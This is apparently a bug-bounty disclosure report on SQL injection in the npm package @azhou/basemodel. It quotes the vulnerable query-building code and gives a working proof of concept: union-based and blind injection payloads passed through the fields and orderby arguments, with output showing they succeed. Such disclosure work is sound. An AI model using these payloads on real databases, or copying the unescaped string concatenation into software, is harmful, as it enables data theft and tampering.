How it was found

I would like to report SQL injection in @azhou/basemodel It allows attacker to read data from database.

Module

module name: @azhou/basemodel version: 1.0.0 npm page: https://www.npmjs.com/package/@azhou/basemodel

Module Description

Usage

Initialization

var model = require("@azhou/basemodel")(tableName, fields);

where tableName is the name of the data table and fields refers to the field list, either using comma connected string or array.

Example:

// Initialize database
var db = require("@azhou/mysql-wrapper");
db.init("server", "database", "username", "password");

// Create basic CRUD data model
var model = require("@azhou/basemodel")("table", [ "field1", "field2", "field3", ... ]);

Notice when defining fields, id should not implicitly added and should not be contained in the field list

If validation is required, function validate() that returns boolean can be added to model:

model.validate = function (source) { ... }

CRUD Functions

Create Object

model.create(source)

• source is the source object

Example:

model.create({ name: 'John Doe', value: 123.456 }).then(function (id) { ... });

Read Object by ID

model.getById(id, fields)

• fields is optional, which is an array of field list you want to return in the result. If missing or incorrect type, default field list is used.

Examples:

model.getById(123).then(function (obj) { ... });
model.getById(456, [ "name", "value" ]).then(function (obj) { ... });

Read Object by Name

model.getByName(name, fields)

• fields is optional, which is an array of field list you want to return in the result. If missing or incorrect type, default field list is used.

Read All Objects

model.getAll(fields, orderby)

• fields is optional, which is an array of field list you want to return in the result. If missing or incorrect type, default field list is used.

• orderby is an optional string argument which defines the ordering of the returned list.

Examples:

model.getAll("name").then(function (list) { ... });
model.getAll([ "name", "value" ]).then(function (list) { ... });
model.getAll([ "name", "value" ], "name DESC").then(function (list) { ... });

Read Objects by ID list

There are four different of formats:

1. Read all objects whose id is in the ids list:

   model.getAllByIds(ids)
   

2. Read all objects whose id is in the ids list, and returns the fields listed in fields array

   model.getAllByIds(ids, fields)
   

3. Object array is provided, and the id is retrieved from field nameOfIdField

   model.getAllByIds(objects, nameOfIdField)
   

4. Object array is provided, and the id is retrieved from field nameOfIdField. Field array is also provided

   model.getAllByIds(objects, nameOfIdField, fields)
   

Examples:

model.getAllByIds([ 1, 2, 3 ]).then(function (list) { ... });
model.getAllByIds([ 1, 2, 3 ], [ "name", "value" ]).then(function (list) { ... });
model.getAllByIds(objects, "id").then(function (list) { ... });
model.getAllByIds(objects, "id", [ "name", "value" ]).then(function (list) { ... });

Update Object

model.update(id, source)

Example:

model.update(123, { name: "Mike Smith" }).then(function () { ... });

Delete Object

model.delete(id)

Module Stats

8 downloads in the last month

Vulnerability

Vulnerability Description

• All table names and fields arguments of all methods are fed directly into query by string concatenation without escaping which may lead to sql injection.
• Order by field of model.getAll(fields, orderby) is not escaped and directly used in query which lead to blind sql injection:

	model.getAll = function (fields, orderby) {
		if (typeof fields == 'string') {
			orderby = fields;
			fields = allFields;
		} else if (Array.isArray(fields) && (typeof orderby == 'string' || !orderby)) {
			if (fields.length == 0)
				fields = allFields;
		} else {
			fields = allFields;
			orderby = "";
		}

		return db.query("SELECT id," + fields.join(",") + " FROM `" + table + "`"
			+ (orderby ? " ORDER BY " + orderby : ""));
	}

Steps To Reproduce:

Example POC:

var db = require("@azhou/mysql-wrapper");
db.init("localhost", "mysql", "root", "");

(async () => {
	await db.query("CREATE TABLE IF NOT EXISTS test(id int not null PRIMARY KEY AUTO_INCREMENT, ckey varchar(255), cvalue varchar(255));");
	await db.query("TRUNCATE TABLE test;");

	var model = require("@azhou/basemodel")("test", ["ckey","cvalue"]);
	
	for(var i=0;i<10;i++)
		await model.create({ckey: `k${i}`, cvalue: `v${i}`});
	
	console.log('- get all (normal)');
	console.log(await model.getAll(["ckey", "cvalue"]))

	console.log('- get all (sqli)');
	console.log(await model.getAll(["ckey", "cvalue from test where 1=0 union all select 0, 'sqli','sqli'#"]))

	console.log('- get all (bsqli in order by)');
	console.log(await model.getAll(["ckey", "cvalue"], 'IF(1=1, id, -id) LIMIT 1'))
	console.log(await model.getAll(["ckey", "cvalue"], 'IF(1=0, id, -id) LIMIT 1'))
})()

Output

- get all (normal)
[ RowDataPacket { id: 1, ckey: 'k0', cvalue: 'v0' },
  RowDataPacket { id: 2, ckey: 'k1', cvalue: 'v1' },
  RowDataPacket { id: 3, ckey: 'k2', cvalue: 'v2' },
  RowDataPacket { id: 4, ckey: 'k3', cvalue: 'v3' },
  RowDataPacket { id: 5, ckey: 'k4', cvalue: 'v4' },
  RowDataPacket { id: 6, ckey: 'k5', cvalue: 'v5' },
  RowDataPacket { id: 7, ckey: 'k6', cvalue: 'v6' },
  RowDataPacket { id: 8, ckey: 'k7', cvalue: 'v7' },
  RowDataPacket { id: 9, ckey: 'k8', cvalue: 'v8' },
  RowDataPacket { id: 10, ckey: 'k9', cvalue: 'v9' } ]
- get all (sqli)
[ RowDataPacket { id: 0, ckey: 'sqli', cvalue: 'sqli' } ]
- get all (bsqli in order by)
[ RowDataPacket { id: 1, ckey: 'k0', cvalue: 'v0' } ]
[ RowDataPacket { id: 10, ckey: 'k9', cvalue: 'v9' } ]

Supporting Material/References:

State all technical information about the stack where the vulnerability was found

• MacOS
• 8.12.0
• 6.4.1

Wrap up

Select Y or N for the following statements:

• I contacted the maintainer to let them know: N
• I opened an issue in the related repository: N

Impact

Allow attackers to query database if they have access to orderBy variable and to perform any query type if have access to table or column variable.